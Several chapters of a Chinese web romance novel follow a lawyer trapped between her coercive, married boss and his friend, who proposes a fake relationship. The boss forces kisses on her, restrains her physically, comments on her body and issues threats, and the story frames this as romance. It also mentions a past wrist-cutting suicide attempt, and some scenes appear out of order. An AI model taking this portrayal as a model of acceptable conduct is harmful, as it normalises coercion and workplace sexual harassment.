乔眠冷冷地将被男人玩于指间的那缕长发拽回来,“知道。” “你很想摆脱他,是不是?” “是……” 乔眠感觉自己在被审问,皱着眉,一把掀开他,“别绕弯子,你到底想说什么?” 顾淮年挑眉笑笑。 转身,身高腿长的靠着门板,双臂抱怀:“你大概不了解霍宴北是一个怎样的人,他想要的,就没有得不到的,你想彻底摆脱他,没有我的帮助,你根本做不到。” 乔眠困惑,“你……帮我?什么意思?” 顾淮年翘起嘴角:“我跟霍宴北从小一起长大,他什么性子,我最了解,虽然人人都说他这个人冷漠无情,但他重情,他因为对妹妹霍妩的死而愧疚了六年,而你和他妹妹长得像,所以,才把你当成他妹妹的替身。” 乔眠苦涩的扯了下唇角,“原来,他对霍妩只是出于愧疚……” 提起霍妩,顾淮年话里都是轻视和不满,“宴北对霍妩就是图个新鲜,玩玩而已,只是因为霍妩死了,他才心存愧疚的。” “玩玩而已。” 乔眠念着这四个扎心的字眼,泛红的眼底升起一层薄雾。 顾淮年犹在继续说:“其实,我们都知道,宴北根本不爱霍妩。” “不爱霍妩……” 乔眠机械的重复这句话。 六年前,她就知道,霍宴北不爱她。 他这些朋友们也都知道。 如今,从他发小口中再次证实这个事实。 无疑是将她曾经的伤疤,再一次剖开,又撒了一把盐。 见她一副受伤的表情,顾淮年觉得火候差不多了,又加了一把猛火,“这些年,宴北满世界搜罗长得像霍妩的女人,你并不是他找的第一个替身。” 说罢,他掏出手机,从相册里调取了几张照片,展示给乔眠,“这些都是他这些年找过的像霍妩的女孩。” 乔眠压抑着心底翻涌出的情绪,接过手机,一张一张翻看着那些女孩的照片。 看面相,大多都是二十出头的小姑娘。 胖瘦都有。 眼睛、鼻子、嘴巴,或多或少,有那么一丁点像她。 她着重放大其中一张照片,仔细一看。 有点印象。 之前有一次,在电梯里,员工们聊总裁八卦,却被一个胖乎乎的小秘书教训了两句。 听员工议论,那个小秘书是霍宴北资助的大学生。 毕业后,霍宴北把人弄到了公司…… 乔眠攥着手机的手指泛白到毫无血色。 顾淮年安慰的拍了拍她的肩膀,“我知道,让你看这些,挺伤害你的,但是,我得让你认清楚,自己在霍宴北心里是一个什么样的存在。” 乔眠面如死灰的将手机还给他,“你铺垫了这么多,该进入正题了吧?” “乔眠,你聪明起来的模样,一点儿都不可爱。” 顾淮年嘴上这么说,却在看到女人潮湿的眼睛时,心里莫名有些发紧。 素来不喜抽烟的他,从裤袋摸出一根烟,点燃,咬进嘴里,缓缓吐出一口烟圈,“宴北重情义,朋友妻不可欺,你只有做我的女朋友,是摆脱他最直接的办法。” 乔眠拧眉瞪着他,“顾淮年,我看你是疯了,我不……” “你放着霍氏这么好的工作不要,最近却一直在找工作,你真正的目的,不就是为了离开霍氏,摆脱宴北吗?” 顾淮年打断她,一副掌控一切的表情看着她。 乔眠:“你怎么知道的?” 顾淮年撩笑,“最近新成立一家同尘律所,我是律协的,审批手续就是我经办的,你还没从荣华辞职呢,你的个人信息已经挂在了同尘律所的律师团队里了,我不想知道都难。” “……” 乔眠没想到辞职一事刚有点眉目,就被顾淮年知道了。 还知道她即将入职同尘律所…… “如果我猜的没错,你今天是去荣华办离职手续吧?” 顾淮年轻笑一声,笃定道。 “你怎么知道的?” 乔眠警铃大作。 她觉得霍宴北已经够让人警惕了,没想到又来一个顾淮年。 顾淮年见她防备又紧张的盯着自己,笑着说:“刚才宴北问你有没有请假,你那心虚的表情都写在脸上,能让你偷偷摸摸外出,还不敢请假,不就是回荣华办离职手续吗?” 乔眠呵笑,“不愧是顾大状,倒是心细。” “阿眠夸我,我可真高兴呐。” 顾淮年笑得眉飞色舞,抬手抓住乔眠的手腕,将人拽到面前,近距离盯着她的眼睛,认真的问:“做我女朋友,我保证,宴北不会再困着你,怎么样?” 第98章 没做过,总亲过吧 乔眠没有立刻回答顾淮年,而是满眼疑惑的反问,“顾律师,你和霍总是发小,你现在却背刺他,我很好奇这其中的缘由是什么?” “乔律师可真会抓重点。” 顾淮年似笑非笑,又深深地吸了一口烟,“宴北和他妻子宋蔓,都是我最好的朋友,我希望他们的婚姻顺顺当当的,如果你和我在一起,宴北就会收心,和宋蔓好好的过日子。” 说到这里,他意味深长的看着乔眠,继续道:“何况他们之间还有一个可爱的女儿,你也是当妈妈的人,难道忍心看到一个家庭因为你而破裂吗?” “……” 原来如此。 乔眠这下算是明白了,为何六年前,顾淮年总是处处针对她。 每次见到她,不给她好脸子,还时常羞辱嘲讽她。 给她取一堆难听的外号。 原来,顾淮年喜欢宋蔓。 六年前,他为宋蔓抱不平,视她为眼中钉肉中刺。 现在,他又为了守护宋蔓的婚姻,不惜和霍宴北作对。 而她,就是他和霍宴北争抢的一只小猎物。 顾淮年争抢她,就是要断了霍宴北对她这个替身的念想,逼着他回归家庭。 顾淮年默默守护宋蔓这份情意,还真令人感动呐。 可她,又做错了什么? 乔眠苦笑:“我从头到尾并没有破坏他们的婚姻。” “你的出现、存在,即便无意,也已经给别人的婚姻,实实在在造成了影响和伤害。” 说到这里,顾淮年修长的手指挑起她的下巴,“乔眠,你这张脸生得好看,很难有男人能够把持的住,你敢指天发誓,你在霍氏这些日子,你和霍宴北没有亲密过?” “……” 乔眠心虚地想起那几次和霍宴北接吻的一幕幕。 虽说是逼不得已,可是,亲密的事情确实发生了…… 见她突然沉默,顾淮年不淡定了,“我靠,难道你和宴北已经上过床了?” “没有!” 乔眠愤恼的拍开他的手,“我绝对不会当他的情人。” 她的解释和态度摆了出来,顾淮年心里莫名畅快许多,可还是忍不住打探两人之间的关系进行到哪一步了。 “没做过,总亲过吧?” 一句话炸的乔眠彻底恼了,抬脚,狠狠跺在男人名贵锃亮的皮鞋上。 顾淮年闷哼一声,疼得剁了剁脚,却仍是不要脸的打趣,“恼羞成怒了?” “顾淮年,你……” “好好好。” 男人抬手,做投降状,“乔大律师,虽然我们接触不多,但我知你不是一个糊涂人,也并非是心甘情愿待在宴北身边的,要不然,你也不会挖苦心思要离开霍氏。别生气,刚才跟你开几句玩笑而已。” “……” 乔眠怎会不知道顾淮年根本不是在开玩笑。 刚才,他分明就是有意试探。 不过,聊到现在,乔眠心里已经想好怎么回答他了。 “顾律师,我不可能做你的女朋友。” 说罢,打开门,抬脚就走。 只是,门刚打开,就被顾淮年抬手拍了回去,“如果只是合作,假装情侣呢?” 乔眠转身看着他:“我马上就离职了,以后会离霍宴北远远的,没必要跟你合作。” 顾淮年哼笑,“你以为去同尘律所,他就会放过你?” “宴北的妹妹霍妩死了六年,他却满世界搜罗跟她相像的女孩,可见他这个人疯起来有多么偏执,你已经被他盯上了,哪怕你跑到天边,他也会用尽手段把你困在身边。” “不信的话,我现在告诉他,你要离职一事,你猜猜,你还能顺利的从荣华离职吗?” 听完顾淮年的话,乔眠沉默了。 她心里明白,顾淮年说的都是事实。 即便她顺利离职,去同尘上班,怕是还会被他缠上…… “乔眠,我对你没有恶意,我有自己想要守护的朋友,你有自己想要摆脱的人,我们各取所需,不好吗?” 顾淮年见乔眠态度有一丝松动,趁热打铁继续劝说,“再说,我们又不是真情侣,只是在他面前装装样子,你放心,我不会占你便宜。” “我……” 乔眠心里有些乱,踟蹰片刻,想随便敷衍一句走人。 顾淮年却折回去,从茶几上拿起那个首饰盒,打开后,将那条精贵的手链取出来。 走到乔眠面前,握住她一只手,直接戴了上去。 “我不要你送的东西。” 乔眠准备取下来时,顾淮年伸手扣住了她的手腕。 手链是玫瑰金色,质感高级贵气,将女人整只小手衬得愈加雪白纤纤。 白的晃目。 顾淮年目光微微一滞,很快就松开了她的手腕:“戴上它,好好考虑我的提议,嗯?” 乔眠摘手链的动作一顿。 顾淮年掏出手机,打开微信,把二维码出示给她,“加个微信吧。” 乔眠蹙了一下眉,拿出手机,扫完后,一言不发的抬步离开了。 在顾淮年看来,乔眠沉默的态度,已经是默认了他的提议。 有些答案不必问的太明确,彼此心照不宣就行了。 他看得出来,乔眠是一个自我认知很清醒的女人。 目送她进入电梯后,他才收回目光。 垂在身侧的手指轻轻摩挲了一下。 仿佛指尖还残存着女人肌肤的温度…… 意识到自己居然在回味,顾淮年忙朝自己脸上拍了一巴掌。 他一定是神经了,才会生出莫名的欲念。 不过,他把这点邪念,归咎于乔眠生得太漂亮的缘故。 过分好看的女人,总会勾的男人荷尔蒙分泌旺盛。 嗯……很正常。 …… 乔眠回到霍氏,已经下午两点。 心不在焉的忙了一会儿工作。 期间,总是无意识地瞟向对面的总裁办公室。 就像一个做错事的学生,随着等着挨老师的批评。 很是煎熬。 “小乔?” 何眉见她神情恍惚,伸手,在她眼前晃了一下,“这份合同你看下,没问题的话,交给霍总确认一下细节。” 乔眠接过合同,翻阅了一遍后,把合同递到何眉手里,“你帮我送进去吧。” 何眉,“霍总老是冰着一张脸,我见了都哆嗦,你跟霍总熟,还是你送吧。” 第99章 他的怒火快要把她吻碎 乔眠抿唇,“我跟他不熟……” “不熟?” 何眉凑近她,笑得很迷:“那你干嘛一直往总裁办公室瞧?” “我……” “我懂。” 何眉笑着打断她,“霍总英俊多金,身材还顶级好,整个霍氏,是个女的都惦记,我也不例外,小乔,你看上霍总,很正常啊。” “……” 两人完全不在一个频道上,乔眠无奈叹了一声。 看着何眉又塞到怀里的文件,乔眠深吸了一口气,抬步走出法务部,叩响了总裁办公室的门。 “进。” 里面传来一个冰冷的字眼时,乔眠的心也跟着提了起来。 紧握着门把手,迟迟不敢推门进去。 唯恐等着她的是一场暴风雨。 足足站了十多秒钟,正欲临阵脱逃时,办公室门从里面被人打开。 霍宴北芝兰玉树的立在办公室门口,脸上的表情不辨喜怒。 但是,看着她的眼神,很明显透着一股寒意。 乔眠心虚的垂着眉眼,把手里的文件递过去,“霍总,这份合同……” 还未说完,霍宴北转身折了回去。 乔眠抬眸望过去,男人已经陷进了办公桌后面的真皮坐椅里。 乔眠只得迈步走到办公桌前,恭敬的把合同递给他,“霍总,这份合同需要您……” 哗啦一声。 剩余的话,在手里的合同被男人挥翻在地时,戛然而止。 乔眠满眼惊色。 男人却目光阴沉的盯着她手腕上那条精致的手链。 注意到他的视线,乔眠欲将手缩回去,霍宴北已经起身,走到她面前,猛地攥起她的手腕,“这是顾淮年之前送的那条手链?” 乔眠挣了一下,没挣开他的禁锢。 索性硬着头皮,嗯了一声。 “乔眠。” 霍宴北攥着她手腕的大掌用力收紧。 下一瞬,将她整个人拖进怀里。 另一只手扣住她纤细的腰,反身,将她抵在办公桌上,声音冷得吓人:“你戴着顾淮年送你的手链是什么意思?” 乔眠凝视着满脸愠怒的男人。 想起顾淮年说的那些话,以及给她看的那些霍宴北曾经找过的替身女孩的照片。 此刻,她真真切切的感受到霍宴北的偏执有多么恐怖…… “你跟他在一起了?” 见她一脸受惊,却闷不吭声的模样,霍宴北暴躁的质问。 乔眠回避的垂下眼睛,却又被捏起了脸颊,被迫与他阴冷的目光对视。 “说话!” 他冲她低吼了一声。 声音并不大,却震得她心脏生疼。 乔眠吓得肩膀抖了一下。 紧咬着唇瓣,半响,唇齿间溢出一个低到不能再低的单音节,“是……” 声音很小,却向一块巨石,狠狠砸在男人冰封的心湖上,激起千层潮浪。 他用力掐紧她的小脸,手指泛白到毫无血色,恨不得把她整个人捏碎,揉到骨子里,嗓音森冷暗哑:“你……再说一遍!” 乔眠被他这副阴湿的面孔惊骇到。 如果一定要用这种互相伤害的方式终结他对她的纠缠的话,她宁愿与最讨厌的顾淮年为伍合作。 她咬字清晰,一字一顿的回道,“抱歉,霍总,我和顾淮年在一起的事情,不该瞒着您……” “骗子!” 霍宴北狠重的一拳砸在她身侧的办公桌上,“你怎么可能喜欢顾淮年?你们才认识多久?” 乔眠深吸一口凉气,反唇相讥:“霍总,我们又认识多久?你却一次又一次威逼我,和你在一起,我不止一次告诉过你,我不喜欢你,不愿意跟您牵扯在一起!可您有仔细尊重过我的意愿吗?” 男人咬牙,“所以,你为了逃开我,选择跟了顾淮年?” 乔眠别过脸,“我跟顾律师挺聊得来的,即便没有你的存在,我想,我也会……唔。” 剩余的话,被男人侵略性的吻吞噬殆尽。 她没想到,她把话说到这个份上,他依旧敢对她如此无礼。 不同于以前强势的吻,这次,他似要将她毁灭。 乔眠被动受着他的吻,感觉自己快要死在他怀里时,一道手机铃声响起,打破了令人窒息的气氛。 她推着他,从口袋掏出手机,没看清楚是谁打来的电话时,就被霍宴北夺走了。 扫到手机屏幕上备注为‘顾淮年’三个字时,霍宴北就像冷不丁被浇了一盆冰水,松开了乔眠。 但是,他并没把手机还给她,当着她的面,按了接听键,并开了免提。 乔眠抬手擦了一把被吻的微肿的唇,泛着泪光的眼睛幽怨的瞪着霍宴北。 霍宴北目光肃冷,也在盯着她。 他似乎在求证什么,一句话不说,静静地等顾淮年先开口。 乔眠也很紧张。 她不知道顾淮年为什么会突然给她电话,更怕他一开口,就暴露两人是假情侣。 那么,她刚才对霍宴北撒的谎就毫无意义。 数秒后,顾淮年的声音传来:“阿眠,你回公司了吧?别怕,宴北是我最好的兄弟,他肯定不会为难你的,不过,我们在一起的事情瞒了他,他生气是应该的,改天,我组个饭局,咱俩一起请他吃顿饭吧?” 听完这番话,乔眠急忙抓起手机,抬起眼皮,看着五官寒彻的男人,接着话茬说下去:“好,餐厅你来定吧,我现在跟霍总在一起谈工作,先不说了。” “好,下班我来接你。” “嗯……” 挂断电话后,乔眠一言不发。 事情演变成这个地步,也没什么可说的。 她在等霍宴北的反应。 只是,他的反应比预料中平静很多。 “你喜欢顾淮年吗?” 他语气平静地问。 乔眠皱了一下眉:“他对我挺好的。” 霍宴北盯着她手腕上那条刺眼的手链,嗤笑一声,“我对你不好吗?” 乔眠:“你自以为对我好,那得我自己觉得好,那才叫好,霍总,和您相识以来,您带给我的只有惶恐不安,而顾律师,让我没有压力。” 霍宴北摁着青筋暴跳的额头,太阳穴像是被一根针硬生生扎了进去。 他疼的呼吸发紧,一只手撑着桌缘,走到办公桌后面坐了下来。 良久,冲她摆了摆手,“乔眠,既然你选择了顾淮年,以后我不再打扰你。” 第100章 他让她滚开 原以为压在心头的巨石被搬走,乔眠会感到格外轻松,舒心。 可是,望着霍宴北面色苍白,骨节分明的手指用力摁着眉骨,似乎很不舒服的样子。 隔着一段距离,她亦能瞧见男人鬓角沁出的一层薄汗。 乔眠说不出此刻心里是怎样繁复陈杂的心情。 她没有像平时在他面前时,恨不得立马逃离,看着他似乎脑袋很疼的样子,乔眠冲了一杯热茶放在他的办公桌上:“霍总,您身体不舒服吗?” “滚开!” 男人使劲摁着闷痛到快要炸开的脑袋,情绪收不住的怒吼一声。 挥手打翻了桌案上那杯热腾腾的茶。 滚烫的热水溅烫在乔眠手背上。 丝丝缕缕的疼,透过肌肤,仿佛烙在了心间。 乔眠胸腔里闷得发胀,连呼吸都是疼的。 望了一眼地上碎裂在地的茶杯,她垂着眉眼,转身走出了办公室。 只是,刚出去,迎面撞上了陈珂。 “乔律师,你眼睛怎么这么红?” 陈珂一眼就注意到她那双仿佛血色霜红的眼睛,没头脑的问了一句。 乔眠闷声回了一句,“霍总他身体似乎很不舒服……” 话音刚落,陈珂脸色微微一变,一边快步朝办公室走去,嘴里嘟哝了一句,“肯定又是头痛症犯了。” “头痛症……” 乔眠神情复杂的站在原地喃喃自语。 他什么时候有头痛症的…… 心不在焉的回到工位上,手机响了一下。 是顾淮年发来的一条微信。 【阿眠,是不是我刚才那通电话打得很及时?】 乔眠蹙眉:【别叫我阿眠。】 【行,那叫你女朋友。】 乔眠皱了皱眉,没回。 顾淮年又发来了一条消息,【晚上见,女朋友。】 乔眠烦闷的把手机反扣在桌上。 感觉自己刚从狼窝里逃出来,又掉进了狐狸窝。 之后,一整个下午,乔眠浑浑噩噩的应付着手头上的工作。 拟合同时,漏了好几处数据,还好何眉和孟白及时发现,及时纠正了过来。 “小乔,你状态很不对啊?” 何眉一脸担忧的看着她问。 乔眠摇了摇头,“没事,就是有点累。” “要不下班后,我带你去酒吧放松放松?” “不了,我……” 话到一半,余光里扫过一抹亮丽的身影。 转眸一看。 是宋蔓。 她穿着一件高定款驼色貂绒大衣,妆容精致,整个人往那儿一站,贵气十足。 何眉感叹一声,“到底是豪门贵妇,霍太太身上那件大衣,比咱两年工资都贵哇。” 乔眠眉眼淡淡,没有说话。 就在她收回目光时,宋蔓怨恨的眼神刮了过来。 乔眠当作没看见,准备避开时,宋蔓已经趾高气昂的走了过来。 “乔律师。” 宋蔓伸手叩了叩她的办公桌,一副高高在上的姿态。 乔眠起身,颔首道,“霍太太,您请说。” 一声‘霍太太’,总觉得像是在刻意强调什么,并没有让宋蔓感到一丝愉悦,反而觉得刺耳。 尤其是,看着此时低眉顺眼的乔眠,更让人窝火。 乔眠这个女人总是一副表面温婉无害的模样,可实际上,总能狠绝的给人一致命一击。 她小姨现在还在看守所里蹲着,就是一个活生生的例子。 而此刻,她就是来跟乔眠炫耀的。 “乔律师还不知道吧?我小姨明天就能从看守所里出来了。” 说到此处,宋蔓倾身,凑到她耳边,低声说了一句,“你再有能耐又如何,最后还不是白忙一场?” 对蒋芸能够以前放出来一事,乔眠并不意外。 以霍家在京市的势力,只要肯动用关系,分分钟钟能够扭转乾坤。 所以,面对宋蔓的炫耀和挑衅,乔眠淡声回了两个字,“恭喜。” 她出奇的淡静,让宋蔓有一种铁拳打在棉花上的愤懑感。 她狠狠剁了下高跟鞋后,气烘烘的出了法务部,走进了对面的总裁办公室。 办公室的门没有关。 从乔眠坐着的位置,正好可以目睹里面的一切。 霍宴北靠在座椅背上,宋蔓依在身畔,正在给霍宴北按摩头部。 两人亲密互动的画面,有一种老夫老妻岁月静好的和谐美。 何眉凑过来时,也看到了,感慨了一句,“这个霍太太在外人总是一副不把任何人放进眼里的跋扈样子,在霍总身边,啧啧,倒是乖软贤惠,挺能装的。” 说到这里,撞了下乔眠的胳膊,“对吧?” 乔眠扯了下嘴角,“霍总喜欢就够了……” “也对,毕竟人家是夫妻嘛。” 何眉唏嘘了一句后,回到了工位上。 乔眠再看向对面时,正好看到霍宴北搂着宋蔓走进休息室的一幕。 乔眠垂眸,纤长的睫毛投下一层暗影。 眼底涌动起的潮湿情绪尽数藏了起来。 好不容易熬到六点。 何眉和孟白下班先走了。 乔眠整理好文件,拿起包,刚走出法务部,对面关闭了整整一个下午的办公室门打开了。 宋蔓挽着霍宴北的胳膊,从里面走出来。 乔眠和两人迎面撞上,不得不打了一声招呼,“霍总,霍太太……” 颔首时,目光恰好落在霍宴北袖口下的一截手腕上。 他一直戴着的那条核桃红手链已经不在了。 她眼神微微一滞后,很快就收回了目光。 霍宴北看到她时,表情淡漠的像是看见一个陌生人一样。 径直越过她,朝电梯口走去。 乔眠站在原地等了一会儿,约模两人已经下了电梯,才抬步走向电梯口。 只是,没想到,她走过去时,两人还在等电梯。 乔眠自觉站在员工电梯口,尽可能离两人远远的,但还是能够听到宋蔓娇嗔的抱怨声,“宴北,专用电梯怎么还没上来?” 霍宴北声音很淡,“坏了吧。” 正好这时,员工电梯到了。 乔眠抬步走进去,刚准备按下关门键时,宋蔓挎着霍宴北的胳膊,趾高气昂的走了进来。 乔眠低着脑袋,自觉退到角落里。 一时间,狭小的空间里,陷入诡异的安静。 直到宋蔓娇柔的声音传来,“宴北,明天我小姨出来,我们一起去接她,好不好?” 第101章 难不成要我跪下? 霍宴北沉默了几秒,没有回答她,却是就着这个话题问道,“小姨能够出来,是顾淮年跑前跑后,给办的保外就医,改天约个时间,请他吃顿饭。” 宋蔓没想到霍宴北已经知道她小姨保外就医一事,是顾淮年帮忙办的。 关键是,知道后,不仅没有生气,还要请顾淮年吃饭? “这次确实多亏了顾淮年,等见到他时,大家一起吃个饭。” “嗯。” 乔眠听着两人的谈话,眉头微微收紧。 原来,蒋芸能够出来,是顾淮年在暗地里操纵的。 为了讨宋蔓欢心,他倒是能昧着良心把蒋芸保出来。 她还以为,是霍宴北帮的忙…… 叮一声,电梯门开了。 乔眠在一楼出了电梯。 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经死了。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕自杀,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 第102章 亲密到无话不谈的地方 尾音一落,乔眠自己都惊愣住了。 恨不得拍自己一巴掌。 脸上是肉眼可见的慌乱。 下一瞬,纤细的手腕被用力攥起,男人沉冷的质问声从头顶传来,“你怎么知道我会手语?” 他会手语,几乎没几个人知道。 也从未在公开场合用过手语。 乔眠是怎么知道的? 原本埋于心底那颗怀疑的种子,此刻,悄然复苏。 他目光锋锐的盯着明显慌乱的女人,仿佛要将她的伪装一层层剥尽。 就连陈珂都一脸怀疑的瞅着她。 乔眠心口噎得生疼。 好一会儿,才冷静下来,寻到一个说辞:“我……听顾律师说的。” 霍宴北半信半疑地盯着她看了数秒后,才缓缓松开了她。 瞥到女人白皙的手腕被攥出清晰的指印时,不禁想起昨晚,顾淮年拉着乔眠手腕上车的一幕。 心里烦闷的厉害。 脸色比刚才更差了。 “看来,乔律师和顾淮年发展挺迅速的,已经亲密到无话不谈的地步了?” 说到这里,他倾身逼近她,“那他有没有跟你说过,我这个人报复心很强,背刺我的人,欺骗我的人,又会是什么下场,嗯?” “……” 这句话明显是在警告她和顾怀年。 乔眠脊背生寒,垂着眉眼,温驯的听着教训,不敢再多说一个字。 可她越是沉默,霍宴北心里越是憋燥。 连陈珂都吓得大气不敢出。 只得悄悄冲乔眠使了个眼色。 乔眠领会后,急忙拿起办公桌上的文件,颔首道,“霍总,我现在就回去熟悉资料,今晚的饭局一定不给您出岔子。” 说完,转身就要走时,男人不耐烦的嗓音传来,“就在这儿办公,你只有两个小时的时间。” 乔眠咬着唇,不情不愿的颔首:“是……” 陈珂很有眼力见的把霍宴北面前的办公桌,整理出一半位置,给乔眠用。 乔眠小声说了一声谢谢,在霍宴北对面坐下,低着头,开始一页一页的翻阅资料。 霍宴北随后坐下来,也开始处理工作。 安静到诡异的工作氛围,让陈珂一刻钟都不敢多待,躲回了秘书部办公室。 原本就静谧的掉针可闻的办公室,此刻,寂静的仿佛能听清楚两人细微的呼吸声。 正因为太安静了,以至于即便手机调整了振动。 一次次来电,发出的振动声,清晰的落入霍宴北耳中。 他抬手,叩了叩桌案,“不打算接吗?” 乔眠这才敢从口袋掏出手机,低头一看,是顾淮年。 她直接挂断,本想打开微信,给他发消息的。 但是,刚挂断,他刻不容缓的又打了过来。 她只好侧着身体,摁了接通键,还未等开口,顾淮年高亮的嗓门就透过话筒传了出来。 也传入了霍宴北耳中。 “阿眠,我在路上堵车了,等会就到公司接你下班啊。” 乔眠捂了一下手机,低声回了一句:“我今晚加班,你不用来接我了。” “那我更得去接你了,你一个女人大半夜回家,我这个男朋友得多不称职啊!” “半个小时后见,正好,我得找宴北好好说道说道,哪有这么虐待下属的?” “论私交,你可是他嫂子!” 最后一句‘嫂子’炸的乔眠脑仁疼。 匆匆挂了电话后,霍宴北戏谑的哼笑一声,“如果顾淮年知道,我跟嫂子之间除了没做之外,吻过,也摸遍了,该作何感想?” 乔眠被他直白的话闹得脸红目赤,“霍总,你……” “怎么?” 男人修长的手指抵着太阳穴,歪着头,静静地看着她,一本正经的语气说:“嫂子的胸围86,腰围58,臀围91,不对吗?” “霍宴北!” 乔眠羞耻的脸颊滚红,站起身,氤氲怒气的眼眸瞪着他。 她羞愤的同时,震惊于他居然精准的丈量出她三围…… 那几次跟他接吻,虽然被吻的晕晕乎乎的,但也清晰的感知到,过程中,他的手在她衣服内是怎样兴风作浪过…… 思绪游弋时,男人起身,绕过办公桌,走到她身前,一双手臂撑在她身体两侧。 高大的身体将她牢牢困在他胸膛和办公桌之间,他盯着女人满是羞怒的小脸,混不吝的勾着唇角,“我们到底好过一场,我对乔律师的身体了若指掌,那么,乔律师应该也很清楚我的纬度和尺寸吧?” 乔眠的小脸瞬间红的不成样子,羞愤的瞪着他,“你的纬度和尺寸,我怎么知道?我又没……” ‘摸过’两个字,欲从口出时,乔眠意识到不妙。 男人已经握起她的小手,放在他壁垒分明的胸膛,然后,落于隔着布料依旧能够感受到紧实坚硬的腹肌,一寸寸丈量着。 往下碰到金属质感的皮带时,乔眠猛地抽回手,一把推开他,气得呼吸发颤,“疯子!” 男人冷笑一声,伸手捏起了她的小脸,“乔眠,你觉得一个疯子会他妈的在乎道德与不道德?” 语落,男人凉薄的唇覆在她红透的耳边,“乔眠,别逼我做出超出底线的事情。” 说罢,松开她,回到了自己座位上。 继续开始忙起了工作。 仿若刚才什么都没发生一样。 乔眠抚着紧张到快要从胸腔里跳出去的心脏,无力的坐回位置上。 抬眼时,看到霍宴北拿着手机起身,进了休息室。 也不知道在跟谁打电话,两三分钟后就出来了。 坐回椅子上后,若无其事的继续工作。 没隔几分钟,乔眠的手机震动了。 是顾淮年发来的一条微信。 【阿眠,抱歉啊,我临时有事,不能去接你了,你下班到家后,给我发个微信,让我放心。】 乔眠回了一个字,【嗯。】 不过,她觉得,抽空了还是有必要找顾淮年聊清楚。 最近这几天,顾淮年对她的所为所为,就像真的男朋友对女朋友那般关心体贴,让她很不舒服。 收起手机后,一抬眼,看到霍宴北正看着她。 她立马收起心思,继续专心工作。 而霍宴北垂眸,看着陈珂发来的最后一条微信,表情晦暗莫深:【霍总,顾律师已经回去了。】 第103章 真正的乔眠 【嗯。】 之后的一个多小时,两人谁也没有说话。 八点半。 乔眠捋完文件资料,跟着霍宴北离开了公司。 上车后,他把对方客户的个人信息给她大概介绍了一遍。 并说了几个对方忌讳的点。 谈及手语问题时,乔眠还是忍不住问,“霍总,您既然会手语,为什么还需要我过来?” 霍宴北瞥她一眼,“我跟乙方大客户坐在那里比划手语,好看吗?” 